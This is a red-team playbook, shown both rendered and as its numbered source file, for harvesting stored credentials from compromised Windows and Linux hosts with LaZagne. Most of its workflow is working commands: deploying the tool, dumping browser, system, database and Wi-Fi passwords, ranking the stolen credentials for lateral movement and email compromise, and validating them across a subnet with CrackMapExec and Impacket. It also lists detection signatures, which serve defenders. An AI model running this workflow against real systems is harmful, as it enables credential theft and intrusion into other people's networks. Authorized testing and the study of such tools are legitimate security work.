Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
- When conducting security assessments that involve performing credential access with lazagne
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload
# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
- Verify execution capability and privileges:
# Check current user context
whoami /priv
# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials
lazagne.exe all
# Export results to JSON
lazagne.exe all -oJ
# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds
- Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers
# Windows credential stores
lazagne.exe windows
# Database credentials
lazagne.exe databases
# Email client credentials
lazagne.exe mails
# Wi-Fi passwords
lazagne.exe wifi
# Git credentials
lazagne.exe git
# System credentials (requires elevated privileges)
lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction
python3 laZagne.py all
# Browser credentials
python3 laZagne.py browsers
# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin
# Database credentials
python3 laZagne.py databases
# Git credentials
python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json
with open("creds.json") as f:
results = json.load(f)
for module in results:
for entry in module.get("results", []):
print(f"Source: {entry.get('Category')}")
print(f" User: {entry.get('Login', 'N/A')}")
print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
- Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1
- Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
Tools and Resources
| Tool |
Purpose |
Platform |
| LaZagne |
Multi-source credential extraction |
Windows/Linux/macOS |
| Mimikatz |
LSASS/DPAPI credential dumping |
Windows |
| SharpChrome |
Chrome credential extraction (.NET) |
Windows |
| SharpDPAPI |
DPAPI credential decryption |
Windows |
| CrackMapExec |
Credential validation and spraying |
Linux |
| Impacket |
Remote credential testing |
Linux (Python) |
LaZagne Module Coverage (Windows)
| Category |
Modules |
| Browsers |
Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Email |
Outlook, Thunderbird, Foxmail |
| Databases |
PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin |
PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows |
Credential Manager, Vault, DPAPI, Autologon |
| WiFi |
Stored Wi-Fi passwords |
| Git |
Git Credential Store, Git Credential Manager |
| SVN |
TortoiseSVN |
| Chat |
Pidgin, Skype |
Detection Signatures
| Indicator |
Detection Method |
| LaZagne.exe process execution |
EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB |
File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls |
API hooking and ETW tracing |
| Access to Windows Credential Manager |
Event 5379 (Credential Manager read) |
| Mass credential store enumeration |
Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files |
Script block logging and file access auditing |
Validation Criteria
1---
2name: performing-credential-access-with-lazagne
3description: Extract stored credentials from compromised endpoints using the LaZagne
4 post-exploitation tool to recover passwords from browsers, databases, system vaults,
5 and applications during authorized red team operations.
6domain: cybersecurity
7subdomain: red-teaming
8tags:
9- red-team
10- credential-access
11- lazagne
12- post-exploitation
13- password-recovery
14- credential-dumping
15- lateral-movement
16version: '1.0'
17author: mahipal
18license: Apache-2.0
19d3fend_techniques:
20- File Metadata Consistency Validation
21- Content Format Conversion
22- File Content Analysis
23- Platform Hardening
24- File Format Verification
25nist_csf:
26- ID.RA-01
27- GV.OV-02
28- DE.AE-07
29mitre_attack:
30- T1595
31- T1190
32- T1059
33- T1078
34- T1021
35source: https://github.com/mukul975/Anthropic-Cybersecurity-Skills
36source_commit: 04450304b12645cb2b974ab96d28c0664758a88d
37metadata:
38 source: https://skillmd.com/skills/yanacuti1121/performing-credential-access-with-lazagne
39---
40
41# Performing Credential Access with LaZagne
42
43## Overview
44
45LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
46
47
48## When to Use
49
50- When conducting security assessments that involve performing credential access with lazagne
51- When following incident response procedures for related security events
52- When performing scheduled security testing or auditing activities
53- When validating security controls through hands-on testing
54
55## Prerequisites
56
57- Familiarity with red teaming concepts and tools
58- Access to a test or lab environment for safe execution
59- Python 3.8+ with required dependencies installed
60- Appropriate authorization for any testing activities
61
62## Objectives
63
64- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
65- Extract credentials from all supported password stores
66- Parse and prioritize recovered credentials for lateral movement
67- Identify high-value credentials (domain admin, service accounts, cloud access)
68- Document credential harvesting results with appropriate evidence handling
69- Correlate recovered credentials with BloodHound attack paths
70
71## MITRE ATT&CK Mapping
72
73- **T1555** - Credentials from Password Stores
74- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers
75- **T1555.004** - Credentials from Password Stores: Windows Credential Manager
76- **T1552.001** - Unsecured Credentials: Credentials In Files
77- **T1552.002** - Unsecured Credentials: Credentials in Registry
78- **T1003.004** - OS Credential Dumping: LSA Secrets
79- **T1539** - Steal Web Session Cookie
80
81## Workflow
82
83### Phase 1: LaZagne Deployment
841. Transfer LaZagne to the compromised host:
85 ```powershell
86 # Pre-compiled executable (Windows)
87 # Transfer lazagne.exe via C2 channel or file upload
88
89 # Python version (requires Python on target)
90 git clone https://github.com/AlessandroZ/LaZagne.git
91 cd LaZagne
92 pip install -r requirements.txt
93 ```
942. Verify execution capability and privileges:
95 ```powershell
96 # Check current user context
97 whoami /priv
98
99 # LaZagne works with standard user privileges for user-level stores
100 # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
101 ```
102
103### Phase 2: Full Credential Extraction (Windows)
1041. Run LaZagne with all modules:
105 ```powershell
106 # Extract all credentials
107 lazagne.exe all
108
109 # Export results to JSON
110 lazagne.exe all -oJ
111
112 # Export results to specific file
113 lazagne.exe all -oJ -output C:\Temp\creds
114 ```
1152. Run specific modules for targeted extraction:
116 ```powershell
117 # Browsers only (Chrome, Firefox, Edge, Opera, IE)
118 lazagne.exe browsers
119
120 # Windows credential stores
121 lazagne.exe windows
122
123 # Database credentials
124 lazagne.exe databases
125
126 # Email client credentials
127 lazagne.exe mails
128
129 # Wi-Fi passwords
130 lazagne.exe wifi
131
132 # Git credentials
133 lazagne.exe git
134
135 # System credentials (requires elevated privileges)
136 lazagne.exe sysadmin
137 ```
138
139### Phase 3: Credential Extraction (Linux)
1401. Run LaZagne on Linux targets:
141 ```bash
142 # Full extraction
143 python3 laZagne.py all
144
145 # Browser credentials
146 python3 laZagne.py browsers
147
148 # System credentials (SSH keys, shadow file with root)
149 python3 laZagne.py sysadmin
150
151 # Database credentials
152 python3 laZagne.py databases
153
154 # Git credentials
155 python3 laZagne.py git
156 ```
157
158### Phase 4: Credential Analysis and Prioritization
1591. Parse JSON output for unique credentials:
160 ```python
161 import json
162 with open("creds.json") as f:
163 results = json.load(f)
164 for module in results:
165 for entry in module.get("results", []):
166 print(f"Source: {entry.get('Category')}")
167 print(f" User: {entry.get('Login', 'N/A')}")
168 print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
169 ```
1702. Prioritize credentials by value:
171 - Domain credentials (AD accounts) for lateral movement
172 - Cloud service credentials (AWS, Azure, GCP console)
173 - VPN and remote access credentials
174 - Database credentials for data access
175 - Email credentials for business email compromise
176 - Service account credentials for privilege escalation
177
178### Phase 5: Credential Validation and Use
1791. Validate recovered domain credentials:
180 ```bash
181 # Test domain credentials with CrackMapExec
182 crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
183
184 # Test with Impacket
185 smbclient.py domain.local/user:'password'@10.10.10.1
186 ```
1872. Cross-reference with BloodHound paths for high-value targets
1883. Use recovered credentials for lateral movement or privilege escalation
189
190## Tools and Resources
191
192| Tool | Purpose | Platform |
193|------|---------|----------|
194| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |
195| Mimikatz | LSASS/DPAPI credential dumping | Windows |
196| SharpChrome | Chrome credential extraction (.NET) | Windows |
197| SharpDPAPI | DPAPI credential decryption | Windows |
198| CrackMapExec | Credential validation and spraying | Linux |
199| Impacket | Remote credential testing | Linux (Python) |
200
201## LaZagne Module Coverage (Windows)
202
203| Category | Modules |
204|----------|---------|
205| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
206| Email | Outlook, Thunderbird, Foxmail |
207| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |
208| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
209| Windows | Credential Manager, Vault, DPAPI, Autologon |
210| WiFi | Stored Wi-Fi passwords |
211| Git | Git Credential Store, Git Credential Manager |
212| SVN | TortoiseSVN |
213| Chat | Pidgin, Skype |
214
215## Detection Signatures
216
217| Indicator | Detection Method |
218|-----------|-----------------|
219| LaZagne.exe process execution | EDR process monitoring with hash-based detection |
220| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |
221| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |
222| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |
223| Mass credential store enumeration | Behavioral analysis for sequential access patterns |
224| Python interpreter accessing credential files | Script block logging and file access auditing |
225
226## Validation Criteria
227
228- [ ] LaZagne deployed on compromised endpoint
229- [ ] Full credential extraction completed (all modules)
230- [ ] Credentials exported in JSON format for analysis
231- [ ] Recovered credentials parsed and deduplicated
232- [ ] High-value credentials identified and prioritized
233- [ ] Domain credentials validated against AD
234- [ ] Lateral movement opportunities identified from recovered creds
235- [ ] Evidence documented with appropriate handling procedures